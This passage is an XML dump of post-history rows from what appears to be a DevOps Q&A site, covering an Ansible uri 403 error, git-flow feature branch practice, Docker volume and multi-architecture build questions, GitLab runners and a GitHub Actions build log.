  <row Id="39598" PostHistoryTypeId="2" PostId="12909" RevisionGUID="c5d13b18-1f00-42e4-9d62-0e6c5ca24e95" CreationDate="2020-12-03T14:50:05.913" UserId="19103" Text="I have discovered the issue, the path to the role_mapping.yml file was incorrect in elaticsearch.yml. I had to use the full path /usr/share/elasticsearch/config/role_mapping.yml" ContentLicense="CC BY-SA 4.0" />
  <row Id="39599" PostHistoryTypeId="2" PostId="12910" RevisionGUID="6534c1e6-e217-4b9c-a516-55a15d4cfef5" CreationDate="2020-12-03T21:14:29.510" UserId="23745" Text="I have a playbook which looks like&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: CURL post example&#xD;&#xA;  uri:&#xD;&#xA;    url: &quot;https://dev-box.local/api/&quot;&#xD;&#xA;    method: POST&#xD;&#xA;    body: '{&#xD;&#xA;           &quot;max_conns&quot;: 0,&#xD;&#xA;           &quot;max_fails&quot;: 2,&#xD;&#xA;           &quot;fail_timeout&quot;: &quot;3s&quot;&#xD;&#xA;           }'&#xD;&#xA;    body_format: json&#xD;&#xA;    validate_certs: no&#xD;&#xA;    return_content: yes&#xD;&#xA;    force_basic_auth: yes&#xD;&#xA;    headers:&#xD;&#xA;      Content-Type: &quot;application/json&quot;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;but during the execution I'm getting&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; FAILED! =&gt; {&quot;changed&quot;: false, &quot;connection&quot;: &quot;close&quot;, &quot;content&quot;: &quot;{\&quot;status\&quot;:403,\&quot;message\&quot;:\&quot;Forbidden\&quot;}\n&quot;, &quot;content_length&quot;: &quot;37&quot;, &quot;content_type&quot;: &quot;application/json&quot;, &quot;date&quot;: &quot;Thu, 03 Dec 2020 21:03:13 GMT&quot;, &quot;elapsed&quot;: 0, &quot;json&quot;: {&quot;message&quot;: &quot;Forbidden&quot;, &quot;status&quot;: 403}, &quot;msg&quot;: &quot;Status code was 403 and not [200]: HTTP Error 403: Forbidden&quot;, &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;when I will do the same call as the `curl -k` from the command line on the same box as ansible it works fine.&#xD;&#xA;&#xD;&#xA;Any thoughts on that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39600" PostHistoryTypeId="1" PostId="12910" RevisionGUID="6534c1e6-e217-4b9c-a516-55a15d4cfef5" CreationDate="2020-12-03T21:14:29.510" UserId="23745" Text="Ansible URI module and skip SSL validation" ContentLicense="CC BY-SA 4.0" />
  <row Id="39601" PostHistoryTypeId="3" PostId="12910" RevisionGUID="6534c1e6-e217-4b9c-a516-55a15d4cfef5" CreationDate="2020-12-03T21:14:29.510" UserId="23745" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39604" PostHistoryTypeId="2" PostId="12911" RevisionGUID="f1e9370c-3118-4de0-a265-db0a84f53bcb" CreationDate="2020-12-04T01:01:57.950" UserId="24987" Text="GitHub doesn't support VFS. There are news articles in 2017 saying GVFS and later VFS would be supported by GitHub. As of today, there is no support and no planned support for it.&#xD;&#xA;&#xD;&#xA;My sources:&#xD;&#xA;- https://github.com/microsoft/VFSForGit/issues/1640 &#xD;&#xA;- https://github.community/t/vfsforgit-setup/128184 &#xD;&#xA;- https://github.community/t/microsofts-virtual-filesystem-for-git/2092&#xD;&#xA;- The Github public roadmap says nothing related to VFS or anything similar. https://github.com/github/roadmap" ContentLicense="CC BY-SA 4.0" />
  <row Id="39605" PostHistoryTypeId="2" PostId="12912" RevisionGUID="396a908d-23b3-4851-b22e-0cb6e465fa7a" CreationDate="2020-12-04T04:11:53.617" UserId="24991" Text="Re „_How long should feature branches last?_“&#xD;&#xA;&#xD;&#xA;Just as short as possible. Just as long as needed.&#xD;&#xA;&#xD;&#xA;We use Scrum with JIRA as ticketing tool. No feature branch lasts more than the 2 weeks sprint period, ever. Our tickets' planned times go from, often, 2 (net working) hour to, almost never, 40 (net working) hours (that's 2 weeks at 50 % net developing time).&#xD;&#xA;&#xD;&#xA;* If a ticket's status changes from _New_ to _In implementation_ a feature branch is created.&#xD;&#xA;* If a ticket's status changes from _In implementation_ to _Implemented_ a review is done.&#xD;&#xA;* If a ticket's status changes from _Implemented_ to _Closed_ the feature branch is merged and deleted.&#xD;&#xA;&#xD;&#xA;Re „_Are there considerations and maintenance commands that developers need to execute every so often to have working, efficient, and responsive git ?_“&#xD;&#xA;&#xD;&#xA;See [SO for `git gc`][gc].&#xD;&#xA;&#xD;&#xA;In a [`git flow init`ialized repo][git-flow] there are basically two of them:&#xD;&#xA;&#xD;&#xA;* `git flow feature start &lt;name&gt; [&lt;base&gt;]`&#xD;&#xA;* `git flow feature finish [&lt;name&gt;]`&#xD;&#xA;&#xD;&#xA;````lang-bash&#xD;&#xA;(main) $ git flow init&#xD;&#xA;... 6 times &lt;Enter&gt; to accept the defaults ...&#xD;&#xA;(develop) $ git branch&#xD;&#xA;* develop&#xD;&#xA;  main&#xD;&#xA;$ git flow feature start my-cool-feature&#xD;&#xA;Switched to a new branch 'feature/my-cool-feature'&#xD;&#xA;&#xD;&#xA;Summary of actions:&#xD;&#xA;- A new branch 'feature/my-cool-feature' was created, based on 'develop'&#xD;&#xA;- You are now on branch 'feature/my-cool-feature'&#xD;&#xA;&#xD;&#xA;Now, start committing on your feature. When done, use:&#xD;&#xA;&#xD;&#xA;     git flow feature finish my-cool-feature&#xD;&#xA;&#xD;&#xA;(feature/my-cool-feature) $ git branch&#xD;&#xA;  develop&#xD;&#xA;* feature/my-cool-feature&#xD;&#xA;  main&#xD;&#xA;...&#xD;&#xA;(feature/my-cool-feature) $ git status | add | commit | pull | push | gc | ...  # whatever&#xD;&#xA;...&#xD;&#xA;(feature/my-cool-feature) $ git flow feature finish  # without a feature name it finishes the current&#xD;&#xA;Switched to branch 'develop'&#xD;&#xA;Already up to date.&#xD;&#xA;Deleted branch feature/my-cool-feature (was a57868f).&#xD;&#xA;&#xD;&#xA;Summary of actions:&#xD;&#xA;- The feature branch 'feature/my-cool-feature' was merged into 'develop'&#xD;&#xA;- Feature branch 'feature/my-cool-feature' has been locally deleted&#xD;&#xA;- You are now on branch 'develop'&#xD;&#xA;&#xD;&#xA;(develop) $ git push  # if there's a remote repo&#xD;&#xA;(develop) $ git branch&#xD;&#xA; 1. develop&#xD;&#xA;  main&#xD;&#xA;(develop) $ git flow feature start my-even-cooler-feature&#xD;&#xA;...&#xD;&#xA;(feature/my-even-cooler-feature) $&#xD;&#xA;````&#xD;&#xA;Long story short from the bottom of the page [Gitflow Workflow][workflow]:&#xD;&#xA;&#xD;&#xA;&gt; The overall flow of Gitflow is:&#xD;&#xA;&gt;&#xD;&#xA;&gt; 1. A `develop` branch is created from `master` [now `main`]&#xD;&#xA;&gt; 1. A `release` branch is created from `develop`&#xD;&#xA;&gt; 1. `Feature` branches are created from `develop`&#xD;&#xA;&gt; 1. When a `feature` is complete it is merged into the `develop` branch&#xD;&#xA;&gt; 1. When the release branch is done it is merged into `develop` and `master` [or `main`]&#xD;&#xA;&gt; 1. If an issue in `master` is detected a `hotfix` branch is created from `master`&#xD;&#xA;&gt; 1. Once the `hotfix` is complete it is merged to both `develop` and `master` [or `main`]&#xD;&#xA;&#xD;&#xA;[gc]: https://stackoverflow.com/q/2116778/1744774&#xD;&#xA;[git-flow]: https://www.atlassian.com/git/tutorials/comparing-workflows/gitflow-workflow&#xD;&#xA;[workflow]: https://www.atlassian.com/git/tutorials/comparing-workflows/gitflow-workflow&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39606" PostHistoryTypeId="2" PostId="12913" RevisionGUID="02b18b15-f2ad-4893-8006-19df0b5e4400" CreationDate="2020-12-04T10:47:28.007" UserId="23554" Text="I bought a **TP-Link TL-R600VPN** load balancing router which I use to combine two internet connections. I tried to monitor their combined speed with container **henrywhitaker3/speedtest-tracker**, but it just randomly tests one of the two connections. I was wondering if it is possible to have two copies of the speed-testing container, but configuring each one with to a specific modem.&#xD;&#xA;&#xD;&#xA;Aditional Notes:&#xD;&#xA;&#xD;&#xA; - All devices (computers, mobile, IoT) are connected to gateway in router, including docker servers.&#xD;&#xA; - Modems have their own gateways, which I can ping from any device connected to router." ContentLicense="CC BY-SA 4.0" />
  <row Id="39607" PostHistoryTypeId="1" PostId="12913" RevisionGUID="02b18b15-f2ad-4893-8006-19df0b5e4400" CreationDate="2020-12-04T10:47:28.007" UserId="23554" Text="Separate gateways for docker containers for load balancing speedtest" ContentLicense="CC BY-SA 4.0" />
  <row Id="39608" PostHistoryTypeId="3" PostId="12913" RevisionGUID="02b18b15-f2ad-4893-8006-19df0b5e4400" CreationDate="2020-12-04T10:47:28.007" UserId="23554" Text="&lt;docker&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39609" PostHistoryTypeId="5" PostId="11233" RevisionGUID="975c63bc-8c3b-4df7-bb82-8371056ab801" CreationDate="2020-12-04T10:53:11.323" UserId="354" Comment="clean up grammar" Text="Feature branches should stay until the feature is done, once done the branch must be closed/deleted. Establishing this kind of behavior should be a team goal and usually takes some time, it's just easier to forget about them in the hurry up I'm ready with my pull request mode.&#xD;&#xA;&#xD;&#xA;Keeping all of them makes maintainability harder. You might think that each branch follows a naming convention with a map to a JIRA ticket or whatever kind of mapping you have and it's really straight forward to distinguish them, but that's not the case once you have a dozen of them and even more are constantly piling up. I highly doubt performance has anything to do, it's more like a confusion cost switch.&#xD;&#xA;&#xD;&#xA;Regarding the commands, I do not think so. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39610" PostHistoryTypeId="2" PostId="12914" RevisionGUID="8e9ba15e-8549-4a5c-9af4-8258a2f2b087" CreationDate="2020-12-04T13:38:51.213" UserId="24997" Text="I’m trying to write a policy violation in [Sailpoint][1]. But I don’t know how to get the rights of the user who is asking a new right. I’ve tried this:&#xD;&#xA;&#xD;&#xA;List links1 = null;&#xD;&#xA;&#xD;&#xA;IdentityService service = new IdentityService(context);&#xD;&#xA;&#xD;&#xA;Application app1 = context.getObjectByName(Application.class, “Autres”);&#xD;&#xA;&#xD;&#xA;try { links1 = service.getLinks(identity, app1);&#xD;&#xA;&#xD;&#xA;} catch (Exception e) { System.out.println(e.getMessage());&#xD;&#xA;&#xD;&#xA;e.printStackTrace();&#xD;&#xA;&#xD;&#xA;} List DUList1 = new ArrayList();&#xD;&#xA;&#xD;&#xA;if(links1.size() != 0){ Object DUObj = links1.get(0).getAttribute(“DU”);&#xD;&#xA;&#xD;&#xA;if(DUObj != null){ if (DUObj instanceof String) DUList1.add((String) DUObj);&#xD;&#xA;&#xD;&#xA;else DUList1.addAll((List) DUObj);&#xD;&#xA;&#xD;&#xA;} }&#xD;&#xA;&#xD;&#xA;It was supposed to return the list of the rights that the user has and the rights that he is asking. But it doesn’t work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hkrtrainings.com/sailpoint-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="39611" PostHistoryTypeId="1" PostId="12914" RevisionGUID="8e9ba15e-8549-4a5c-9af4-8258a2f2b087" CreationDate="2020-12-04T13:38:51.213" UserId="24997" Text="How do we get the rights of a user in Sailpoint?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39612" PostHistoryTypeId="3" PostId="12914" RevisionGUID="8e9ba15e-8549-4a5c-9af4-8258a2f2b087" CreationDate="2020-12-04T13:38:51.213" UserId="24997" Text="&lt;amazon-web-services&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39613" PostHistoryTypeId="50" PostId="12660" RevisionGUID="f7259e6f-2639-467f-b326-8c4db039298b" CreationDate="2020-12-04T14:01:05.087" UserId="-1" />
  <row Id="39614" PostHistoryTypeId="2" PostId="12915" RevisionGUID="9ae78118-e95c-4b80-8f7a-5f44f025d4a9" CreationDate="2020-12-04T15:32:30.880" UserId="24996" Text="You seem to be passing `force_basic_auth: yes` but no `user`, nor `password`.&#xD;&#xA;&#xD;&#xA;Example from the Ansible docs:&#xD;&#xA;```&#xD;&#xA;- name: Create a JIRA issue&#xD;&#xA;  uri:&#xD;&#xA;    url: https://your.jira.example.com/rest/api/2/issue/&#xD;&#xA;    method: POST&#xD;&#xA;    user: your_username&#xD;&#xA;    password: your_pass&#xD;&#xA;    body: &quot;{{ lookup('file','issue.json') }}&quot;&#xD;&#xA;    force_basic_auth: yes&#xD;&#xA;    status_code: 201&#xD;&#xA;    body_format: json&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The 403 is usually Basic Auth failing. If it's not, it could be the API server you're running requiring some sort of authentication.&#xD;&#xA;&#xD;&#xA;If the `curl -k` command includes something like `https://user:password@dev-box.local/api/` or the `--user &lt;user:password&gt;`, it should work. Or maybe it's using data from `.netrc`?&#xD;&#xA;&#xD;&#xA;I hope this helps." ContentLicense="CC BY-SA 4.0" />
  <row Id="39615" PostHistoryTypeId="2" PostId="12916" RevisionGUID="14196ba0-c92b-46b5-80dc-2462424a51ac" CreationDate="2020-12-04T15:37:59.250" UserId="24996" Text="I noticed that you have the `docker run` command with `--rm` option. In the [Docker docs][1] it says:&#xD;&#xA;&gt; If you set the --rm flag, Docker also removes the anonymous volumes associated with the container when the container is removed. This is similar to running docker rm -v my-container&#xD;&#xA;&#xD;&#xA;Perhaps this is why the volumes are being deleted?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/run/#clean-up---rm" ContentLicense="CC BY-SA 4.0" />
  <row Id="39616" PostHistoryTypeId="2" PostId="12917" RevisionGUID="40efe560-f09d-4c12-8401-dce0ba712d4d" CreationDate="2020-12-04T15:40:39.107" UserId="7730" Text="No, docker does not automatically prune networks or images. That is left to the user to implement with their own tooling or scripting. It is possible for docker-compose to remove networks, but only when running a `docker-compose down`, and that doesn't remove networks. You'll need to search your own environment to see what you have running that performs a prune." ContentLicense="CC BY-SA 4.0" />
  <row Id="39617" PostHistoryTypeId="2" PostId="12918" RevisionGUID="4150e968-5a5a-4b32-afcb-37c22421a176" CreationDate="2020-12-04T15:43:50.613" UserId="24996" Text="I've not tried this myself, but it seems that you can use docker `buildx` to build for multiple architectures: https://www.docker.com/blog/multi-arch-images/." ContentLicense="CC BY-SA 4.0" />
  <row Id="39618" PostHistoryTypeId="2" PostId="12919" RevisionGUID="fa895b2f-8087-4e0c-9c85-744c68dc5cc7" CreationDate="2020-12-04T15:57:47.997" UserId="7730" Text="You can either:&#xD;&#xA;&#xD;&#xA;1. cross compile the image&#xD;&#xA;2. perform the build within an emulator like qemu using binfmt_misc&#xD;&#xA;3. run the build on each platform&#xD;&#xA;&#xD;&#xA;I've done a fair bit of cross compiling in Go, pretty sure there's the ability to do that in gcc. Just note that you'll need to include all the libraries for those other platforms too, which may get complicated. Therefore a statically compiled binary my be easiest. Doing this, I then have a multi-stage build where the last stage is for the target platform and only includes copy commands to copy in the cross compiled binary. For controlling the platform on each stage, there's a `FROM --platform` option.&#xD;&#xA;&#xD;&#xA;With binfmt_misc, that needs to be installed with the `--fix-binary` option that will show a `F` flag in the `/proc/sys/fs/binfmt_misc/*`. If it's not installed with this option, trying to run a container for another platform will output a &quot;file not found&quot; error as binfmt searches for the interpreter inside the container filesystem rather than the host filesystem. Note that this is already setup on Docker Desktop.&#xD;&#xA;&#xD;&#xA;Once built, you can push the resulting image to the registry as a multi-platform image, and the appropriate image will pulled under the same name based on the platform performing the pull. The easiest way I've found to create multi-platform images is to use [buildx](https://github.com/docker/buildx) which comes bundled into recent versions of docker.&#xD;&#xA;&#xD;&#xA;I demonstrate each of these options in [this presentation](https://sudo-bmitch.github.io/presentations/docker-build/presentation.html#cross-platform)." ContentLicense="CC BY-SA 4.0" />
  <row Id="39619" PostHistoryTypeId="2" PostId="12920" RevisionGUID="0766a160-2fbb-4f52-ad5d-a99d37379429" CreationDate="2020-12-04T15:59:10.583" UserId="24996" Text="Runners are machines (typically containers) where your jobs run. Gitlab offers shared runners, and you can also bring in your own runners (machines that you register against Gitlab to run your jobs).&#xD;&#xA;&#xD;&#xA;The main difference between Gitlab shared runners and the ones you bring is that the shared runners are, well, shared, so sometimes you have to wait for a bit for a job to start. You can also bring more powerful machines so that your jobs run faster. &#xD;&#xA;You can find some docs on runners [here][1].&#xD;&#xA;&#xD;&#xA;In your case it seems that the runners have a problem, looking at the exclamation sign next to the name, which should be a green ball. Maybe hovering over the sign will give you some clues into what's happening.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/runner/" ContentLicense="CC BY-SA 4.0" />
  <row Id="39620" PostHistoryTypeId="2" PostId="12921" RevisionGUID="9f0fc632-c68d-42af-a790-97527b47299c" CreationDate="2020-12-04T16:09:18.600" UserId="24996" Text="I don't think there is a right answer here, because there are pros and cons to both options.&#xD;&#xA;&#xD;&#xA;A centralized approach is potentially DRYer and easier to manage but isn't connected to the apps themselves, so a change in the Kubernetes repository could make an app fail and the developer would be none the wiser.&#xD;&#xA;&#xD;&#xA;A distributed or per repository approach allows you to delegate part of the work responsibility/powers to the developers of that repository but has the fragmentation problem (i.e. if your organization changes the way a commonly used Nginx deployment is done, it has to be updated in all repositories).&#xD;&#xA;&#xD;&#xA;I'm sure there are more reasons and opinions, but in my view, these are the biggest points (besides what you already described). I hope this helps!" ContentLicense="CC BY-SA 4.0" />
  <row Id="39621" PostHistoryTypeId="2" PostId="12922" RevisionGUID="b7e2cc90-3974-4668-860e-97db663d7b1f" CreationDate="2020-12-04T16:28:18.880" UserId="24996" Text="I guess each organization does what is best for them, but one of Docker's best practices is to [leverage build cache][1].&#xD;&#xA;&#xD;&#xA;Applied to a large company, I'd say that if they would use Docker caching (correctly) and save a couple of seconds/minutes on every build. They would, given their size, save many hours/days of Engineering time, which amounts to a lot of money. Also, when a build takes too long, it breaks the [flow][2] of the individual, which means more context switching on the side of the engineer, which usually leads to less productivity.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#leverage-build-cache&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Flow_(psychology)" ContentLicense="CC BY-SA 4.0" />
  <row Id="39622" PostHistoryTypeId="5" PostId="12912" RevisionGUID="0e7435d2-e4aa-44e2-81d7-3a38a875dab0" CreationDate="2020-12-04T18:18:19.007" UserId="24991" Comment="added 177 characters in body" Text="Re „_How long should feature branches last?_“&#xD;&#xA;&#xD;&#xA;Just as short as possible. Just as long as needed. &quot;Old feature branch&quot; is a contradiction in itself.&#xD;&#xA;&#xD;&#xA;We use Scrum with JIRA as ticketing tool. No feature branch lasts more than the 2 weeks sprint period, ever. Our tickets' planned times go from, often, 2 (net working) hour to, almost never, 40 (net working) hours (that's 2 weeks at 50 % net developing time).&#xD;&#xA;&#xD;&#xA;* If a ticket's status changes from _New_ to _In implementation_ a feature branch is created.&#xD;&#xA;* If a ticket's status changes from _In implementation_ to _Implemented_ a review is done.&#xD;&#xA;* If a ticket's status changes from _Implemented_ to _Closed_ the feature branch is merged and deleted.&#xD;&#xA;&#xD;&#xA;If a task's estimated fulfilment time is longer, it's splitted into smaller tasks each taking a day or so or even smaller.&#xD;&#xA;&#xD;&#xA;Re „_Are there considerations and maintenance commands that developers need to execute every so often to have working, efficient, and responsive git ?_“&#xD;&#xA;&#xD;&#xA;See [SO for `git gc`][gc].&#xD;&#xA;&#xD;&#xA;In a [`git flow init`ialized repo][git-flow] there are basically two of them:&#xD;&#xA;&#xD;&#xA;* `git flow feature start &lt;name&gt; [&lt;base&gt;]`&#xD;&#xA;* `git flow feature finish [&lt;name&gt;]`&#xD;&#xA;&#xD;&#xA;````lang-bash&#xD;&#xA;(main) $ git flow init&#xD;&#xA;... 6 times &lt;Enter&gt; to accept the defaults ...&#xD;&#xA;(develop) $ git branch&#xD;&#xA;* develop&#xD;&#xA;  main&#xD;&#xA;$ git flow feature start my-cool-feature&#xD;&#xA;Switched to a new branch 'feature/my-cool-feature'&#xD;&#xA;&#xD;&#xA;Summary of actions:&#xD;&#xA;- A new branch 'feature/my-cool-feature' was created, based on 'develop'&#xD;&#xA;- You are now on branch 'feature/my-cool-feature'&#xD;&#xA;&#xD;&#xA;Now, start committing on your feature. When done, use:&#xD;&#xA;&#xD;&#xA;     git flow feature finish my-cool-feature&#xD;&#xA;&#xD;&#xA;(feature/my-cool-feature) $ git branch&#xD;&#xA;  develop&#xD;&#xA;* feature/my-cool-feature&#xD;&#xA;  main&#xD;&#xA;...&#xD;&#xA;(feature/my-cool-feature) $ git status | add | commit | pull | push | gc | ...  # whatever&#xD;&#xA;...&#xD;&#xA;(feature/my-cool-feature) $ git flow feature finish  # without a feature name it finishes the current&#xD;&#xA;Switched to branch 'develop'&#xD;&#xA;Already up to date.&#xD;&#xA;Deleted branch feature/my-cool-feature (was a57868f).&#xD;&#xA;&#xD;&#xA;Summary of actions:&#xD;&#xA;- The feature branch 'feature/my-cool-feature' was merged into 'develop'&#xD;&#xA;- Feature branch 'feature/my-cool-feature' has been locally deleted&#xD;&#xA;- You are now on branch 'develop'&#xD;&#xA;&#xD;&#xA;(develop) $ git push  # if there's a remote repo&#xD;&#xA;(develop) $ git branch&#xD;&#xA; 1. develop&#xD;&#xA;  main&#xD;&#xA;(develop) $ git flow feature start my-even-cooler-feature&#xD;&#xA;...&#xD;&#xA;(feature/my-even-cooler-feature) $&#xD;&#xA;````&#xD;&#xA;Long story short from the bottom of the page [Gitflow Workflow][workflow]:&#xD;&#xA;&#xD;&#xA;&gt; The overall flow of Gitflow is:&#xD;&#xA;&gt;&#xD;&#xA;&gt; 1. A `develop` branch is created from `master` [now `main`]&#xD;&#xA;&gt; 1. A `release` branch is created from `develop`&#xD;&#xA;&gt; 1. `Feature` branches are created from `develop`&#xD;&#xA;&gt; 1. When a `feature` is complete it is merged into the `develop` branch&#xD;&#xA;&gt; 1. When the release branch is done it is merged into `develop` and `master` [or `main`]&#xD;&#xA;&gt; 1. If an issue in `master` is detected a `hotfix` branch is created from `master`&#xD;&#xA;&gt; 1. Once the `hotfix` is complete it is merged to both `develop` and `master` [or `main`]&#xD;&#xA;&#xD;&#xA;[gc]: https://stackoverflow.com/q/2116778/1744774&#xD;&#xA;[git-flow]: https://www.atlassian.com/git/tutorials/comparing-workflows/gitflow-workflow&#xD;&#xA;[workflow]: https://www.atlassian.com/git/tutorials/comparing-workflows/gitflow-workflow&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39623" PostHistoryTypeId="5" PostId="12912" RevisionGUID="5cae25b0-ba0b-477a-9ffb-e14365158e92" CreationDate="2020-12-04T18:51:14.927" UserId="24991" Comment="added 177 characters in body" Text="Re „_How long should feature branches last?_“&#xD;&#xA;&#xD;&#xA;Just as short as possible. Just as long as needed. &quot;Old feature branch&quot; is a contradiction in itself.&#xD;&#xA;&#xD;&#xA;We use Scrum with JIRA as ticketing tool. No feature branch lasts more than the 2 weeks sprint period, ever. Our tickets' planned times go from, often, 2 (net working) hour to, almost never, 40 (net working) hours (that's 2 weeks at 50 % net developing time).&#xD;&#xA;&#xD;&#xA;Set _Blocked by_ in a task if advised. Tasks with no blocker can be done in parallel, by different persons. With such a fine-granular process any dev can easily continue on a ticket (in case of a day-off, sick leave, burndown of an office at another location, etc.) or begin to work on a new one without having to care about prerequisites.&#xD;&#xA;&#xD;&#xA;If a task's estimated fulfilment time tends to be longer than two days, it's splitted into smaller tasks.&#xD;&#xA;&#xD;&#xA;### Example: Project using Java, JUnit, GitLab, Eclipse, Maven, Jenkins ###&#xD;&#xA;&#xD;&#xA;**Dev Tasks**&#xD;&#xA;&#xD;&#xA;* Create Jenkins projects for the branches main, develop, feature, hotfix, release&#xD;&#xA;* Create Git repo(s) (including configuring access right etc.)&#xD;&#xA;* Create Maven project(s) (from within Eclipse), adapt POM declarations accordingly (properties, dependencies, plugins, ...)&#xD;&#xA;* Implement the framework: create packages, interfaces, test classes and classes/enums with empty methods, resources and test resources for a start (this task can also be split into more than one depending on the size of the project)&#xD;&#xA;* Implement functionality (can be split depending on...see above)&#xD;&#xA;&#xD;&#xA;**Git tasks (for each of the dev tasks above)**&#xD;&#xA;&#xD;&#xA;* If a ticket's status changes from _New_ to _In implementation_ a feature branch is created.&#xD;&#xA;* If a ticket's status changes from _In implementation_ to _Implemented_ a review is done.&#xD;&#xA;* If a ticket's status changes from _Implemented_ to _Closed_ the feature branch is merged and deleted.&#xD;&#xA;----&#xD;&#xA;Re „_Are there considerations and maintenance commands that developers need to execute every so often to have working, efficient, and responsive git ?_“&#xD;&#xA;&#xD;&#xA;See [SO for `git gc`][gc].&#xD;&#xA;&#xD;&#xA;In a [`git flow init`ialized repo][git-flow] there are basically two of them:&#xD;&#xA;&#xD;&#xA;* `git flow feature start &lt;name&gt; [&lt;base&gt;]`&#xD;&#xA;* `git flow feature finish [&lt;name&gt;]`&#xD;&#xA;&#xD;&#xA;````lang-bash&#xD;&#xA;(main) $ git flow init&#xD;&#xA;... 6 times &lt;Enter&gt; to accept the defaults ...&#xD;&#xA;(develop) $ git branch&#xD;&#xA;* develop&#xD;&#xA;  main&#xD;&#xA;$ git flow feature start my-cool-feature&#xD;&#xA;Switched to a new branch 'feature/my-cool-feature'&#xD;&#xA;&#xD;&#xA;Summary of actions:&#xD;&#xA;- A new branch 'feature/my-cool-feature' was created, based on 'develop'&#xD;&#xA;- You are now on branch 'feature/my-cool-feature'&#xD;&#xA;&#xD;&#xA;Now, start committing on your feature. When done, use:&#xD;&#xA;&#xD;&#xA;     git flow feature finish my-cool-feature&#xD;&#xA;&#xD;&#xA;(feature/my-cool-feature) $ git branch&#xD;&#xA;  develop&#xD;&#xA;* feature/my-cool-feature&#xD;&#xA;  main&#xD;&#xA;...&#xD;&#xA;(feature/my-cool-feature) $ git status | add | commit | pull | push | gc | ...  # whatever&#xD;&#xA;...&#xD;&#xA;(feature/my-cool-feature) $ git flow feature finish  # without a feature name it finishes the current&#xD;&#xA;Switched to branch 'develop'&#xD;&#xA;Already up to date.&#xD;&#xA;Deleted branch feature/my-cool-feature (was a57868f).&#xD;&#xA;&#xD;&#xA;Summary of actions:&#xD;&#xA;- The feature branch 'feature/my-cool-feature' was merged into 'develop'&#xD;&#xA;- Feature branch 'feature/my-cool-feature' has been locally deleted&#xD;&#xA;- You are now on branch 'develop'&#xD;&#xA;&#xD;&#xA;(develop) $ git push  # if there's a remote repo&#xD;&#xA;(develop) $ git branch&#xD;&#xA; 1. develop&#xD;&#xA;  main&#xD;&#xA;(develop) $ git flow feature start my-even-cooler-feature&#xD;&#xA;...&#xD;&#xA;(feature/my-even-cooler-feature) $&#xD;&#xA;````&#xD;&#xA;Long story short from the bottom of the page [Gitflow Workflow][workflow]:&#xD;&#xA;&#xD;&#xA;&gt; The overall flow of Gitflow is:&#xD;&#xA;&gt;&#xD;&#xA;&gt; 1. A `develop` branch is created from `master` [now `main`]&#xD;&#xA;&gt; 1. A `release` branch is created from `develop`&#xD;&#xA;&gt; 1. `Feature` branches are created from `develop`&#xD;&#xA;&gt; 1. When a `feature` is complete it is merged into the `develop` branch&#xD;&#xA;&gt; 1. When the release branch is done it is merged into `develop` and `master` [or `main`]&#xD;&#xA;&gt; 1. If an issue in `master` is detected a `hotfix` branch is created from `master`&#xD;&#xA;&gt; 1. Once the `hotfix` is complete it is merged to both `develop` and `master` [or `main`]&#xD;&#xA;&#xD;&#xA;[gc]: https://stackoverflow.com/q/2116778/1744774&#xD;&#xA;[git-flow]: https://www.atlassian.com/git/tutorials/comparing-workflows/gitflow-workflow&#xD;&#xA;[workflow]: https://www.atlassian.com/git/tutorials/comparing-workflows/gitflow-workflow&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39625" PostHistoryTypeId="2" PostId="12923" RevisionGUID="c66adc69-a024-41fa-9f4c-26a35ec80d76" CreationDate="2020-12-04T23:12:30.573" UserId="13052" Text="For my [IdentityServer project][1], I have set up GitHub Actions to push docker image to DockerHub.&#xD;&#xA;&#xD;&#xA;Locally, when I run `docker build -t bejebeje/identity:latest --no-cache .`, everything builds fine, in other words, I get my docker image.&#xD;&#xA;&#xD;&#xA;But on GitHub Actions, I get the following:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;#20 [build-env 13/14] RUN npm install gulp-cli -g&#xD;&#xA;#20 3.077 npm WARN deprecated resolve-url@0.2.1: https://github.com/lydell/resolve-url#deprecated&#xD;&#xA;#20 3.084 npm WARN deprecated urix@0.1.0: Please see https://github.com/lydell/urix#deprecated&#xD;&#xA;#20 7.693 /usr/bin/gulp -&gt; /usr/lib/node_modules/gulp-cli/bin/gulp.js&#xD;&#xA;#20 7.748 + gulp-cli@2.3.0&#xD;&#xA;#20 7.748 added 246 packages from 165 contributors in 7.326s&#xD;&#xA;#20 DONE 8.3s&#xD;&#xA;&#xD;&#xA;#21 [build-env 14/14] RUN dotnet publish ./Bejebeje.Identity/Bejebeje.Identi...&#xD;&#xA;#21 0.483 Microsoft (R) Build Engine version 16.3.2+e481bbf88 for .NET Core&#xD;&#xA;#21 0.483 Copyright (C) Microsoft Corporation. All rights reserved.&#xD;&#xA;#21 0.483 &#xD;&#xA;#21 1.505   Restore completed in 366.45 ms for /app/Bejebeje.Identity/Bejebeje.Identity.csproj.&#xD;&#xA;#21 7.748   Bejebeje.Identity -&gt; /app/Bejebeje.Identity/bin/Release/netcoreapp3.0/Bejebeje.Identity.dll&#xD;&#xA;#21 7.843   Bejebeje.Identity -&gt; /app/Bejebeje.Identity/bin/Release/netcoreapp3.0/Bejebeje.Identity.Views.dll&#xD;&#xA;#21 8.182   [22:56:39] Local modules not found in /app/Bejebeje.Identity&#xD;&#xA;#21 8.183   [22:56:39] Try 